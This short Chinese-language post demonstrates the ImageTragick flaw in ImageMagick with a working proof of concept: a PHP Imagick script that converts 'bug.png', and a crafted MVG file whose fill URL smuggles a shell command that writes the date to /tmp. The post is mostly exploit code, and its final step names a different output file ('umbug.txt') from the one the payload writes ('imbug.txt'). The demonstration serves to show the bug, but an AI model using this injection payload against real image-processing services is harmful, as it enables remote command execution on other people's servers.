Imagetrick 漏洞的实例

t1.php

<?php
ini_set('display_errors',true);
error_reporting(E_ALL);
$a++;
$src_img = new Imagick('bug.png');
$icon = new Imagick();
$icon->setFormat('ico');
$icon->addImage($src_img);
$icon->writeImages("favicon.ico", true);
 
$src_img->destroy();
$icon->destroy();

bug.png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|date>/tmp/imbug.txt|echo ")'
pop graphic-context

 

执行

php t1.php

然后cat /tmp/umbug.txt里面会是当前的日期。